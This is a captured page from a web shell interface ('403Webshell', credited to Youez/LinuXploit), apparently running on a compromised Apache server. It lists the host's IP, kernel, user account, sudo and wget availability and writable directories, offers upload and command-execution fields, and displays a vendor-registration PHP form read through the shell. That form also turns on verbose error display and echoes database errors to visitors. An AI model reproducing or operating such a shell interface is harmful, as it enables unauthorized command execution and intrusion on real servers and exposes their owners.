403Webshell
Server IP : 173.209.174.21  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux wcfs-server 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : nodor ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/thelittlebigshow/vendor-reg/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/thelittlebigshow/vendor-reg/index.php.layout
<?php
// Enable error reporting for debugging
ini_set('display_errors', 1);
error_reporting(E_ALL);

// If the form is submitted, process the registration and insert into the database
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    // Capture the form data from the POST request
    $name = $_POST['name'];
    $email = $_POST['email'];
    $phone = $_POST['phone'];
    $address = $_POST['address'];
    $city = $_POST['city'];
    $state = $_POST['state'];
    $zip = $_POST['zip'];
    $website = $_POST['website'];
    $description = $_POST['description'];
    $category = $_POST['category'];
    $spots = $_POST['spots'];

    // Optionally, calculate the payment amount based on spots selected (or keep it static)
    $amount = $spots * 50; // Assume each spot costs $50

    // Save vendor data in the database
    include 'config.php'; // Your DB configuration

    // Establish a database connection
    $conn = new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME);
    if ($conn->connect_error) {
        die("Connection failed: " . $conn->connect_error);
    }

    // Prepare the SQL query to insert data (removed transaction_id)
    $sql = "INSERT INTO vendors (name, email, phone, address, city, state, zip, website, description, category, spots, amount, payment_status)
            VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, 'unpaid')";

    if ($stmt = $conn->prepare($sql)) {
        // Bind parameters
        $stmt->bind_param(
            "ssssssssssds", // Corrected type string
            $name, $email, $phone, $address, $city, $state, $zip, $website, $description, $category, $spots, $amount
        );

        // Execute the query and check for success
        if ($stmt->execute()) {
            // Success, redirect to success page
            header("Location: success.php");
            exit(); // Ensure no further code is executed after redirect
        } else {
            // If execution fails, output the error
            echo "Error executing SQL query: " . $stmt->error;
            exit();
        }

        // Close the prepared statement
        $stmt->close();
    } else {
        // If prepare fails, output the error
        echo "Error preparing SQL query: " . $conn->error;
        exit();
    }

    // Close the database connection
    $conn->close();
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Vendor Registration</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #F5F5F5;
            color: #333333;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            flex-direction: column;
        }
        .logo {
            display: block;
            max-width: 100%;
            max-height: 150px;
            margin-top: 20px;
            margin-bottom: 30px;
            object-fit: contain;
        }
        .main-container {
            background-color: #FFFFFF;
            padding: 20px;
            border-radius: 8px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
            width: 100%;
            max-width: 600px;
        }
        h2 {
            color: #1E90FF;
            text-align: center;
        }
        form {
            display: flex;
            flex-direction: column;
            text-align: left;
        }
        label {
            margin-top: 10px;
            font-weight: bold;
        }
        input, textarea, select {
            padding: 10px;
            margin-top: 5px;
            border: 1px solid #CCCCCC;
            border-radius: 4px;
            font-size: 16px;
        }
        input:focus, textarea:focus, select:focus {
            border-color: #1E90FF;
            outline: none;
        }
        button {
            background-color: #1E90FF;
            color: #FFFFFF;
            padding: 10px;
            margin-top: 20px;
            border: none;
            border-radius: 4px;
            font-size: 18px;
            cursor: pointer;
        }
        button:hover {
            background-color: #1C86EE;
        }
        .agreement {
            margin-top: 20px;
            font-size: 14px;
        }
        .agreement a {
            color: #1E90FF;
            text-decoration: none;
        }
        .agreement a:hover {
            text-decoration: underline;
        }
    </style>
</head>
<body>
    <!-- Logo at the top, outside the form -->
    <img src="https://www.thelittlebigshow.com/wp-content/uploads/2024/02/cropped-Logo.jpg" alt="Event Logo" class="logo">

    <div class="main-container">
        <h2>Vendor Registration Form</h2>
        <form action="index.php" method="POST">
            <label for="name">Full Name:</label>
            <input type="text" id="name" name="name" required>

            <label for="email">Email Address:</label>
            <input type="email" id="email" name="email" required>

            <label for="phone">Phone Number:</label>
            <input type="tel" id="phone" name="phone" required>

            <label for="address">Address:</label>
            <input type="text" id="address" name="address" placeholder="Street Address" required>

            <label for="city">City:</label>
            <input type="text" id="city" name="city" required>

            <label for="state">State:</label>
            <input type="text" id="state" name="state" required>

            <label for="zip">Zip Code:</label>
            <input type="text" id="zip" name="zip" required>

            <label for="website">Website (if any):</label>
            <input type="text" id="website" name="website">

            <label for="description">Description of What You Sell:</label>
            <textarea id="description" name="description" rows="4" placeholder="Describe your products or services" required></textarea>

            <label for="category">Select the Closest Option of What You Sell:</label>
            <select id="category" name="category" required>
                <option value="" disabled selected>Select an option</option>
                <option value="Food & Beverages">Food & Beverages</option>
                <option value="Handmade Crafts">Handmade Crafts</option>
                <option value="Clothing & Apparel">Clothing & Apparel</option>
                <option value="Art & Prints">Art & Prints</option>
                <option value="Electronics">Electronics</option>
                <option value="Jewelry">Jewelry</option>
                <option value="Books & Literature">Books & Literature</option>
                <option value="Toys & Games">Toys & Games</option>
                <option value="Furniture">Furniture</option>
                <option value="Beauty & Personal Care">Beauty & Personal Care</option>
                <option value="Sports Equipment">Sports Equipment</option>
                <option value="Home Goods & Decor">Home Goods & Decor</option>
                <option value="Pet Supplies">Pet Supplies</option>
                <option value="Other">Other</option>
            </select>

            <label for="spots">Number of Spots:</label>
            <select id="spots" name="spots" required>
                <option value="" disabled selected>Select the number of spots</option>
                <option value="1">1 Spot</option>
                <option value="2">2 Spots</option>
                <option value="3">3 Spots</option>
            </select>

            <div class="agreement">
                By registering, you agree to our <a href="hold_harmless_agreement.html" target="_blank">Hold Harmless Agreement</a>.
            </div>

            <button type="submit">Register</button>
        </form>
    </div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit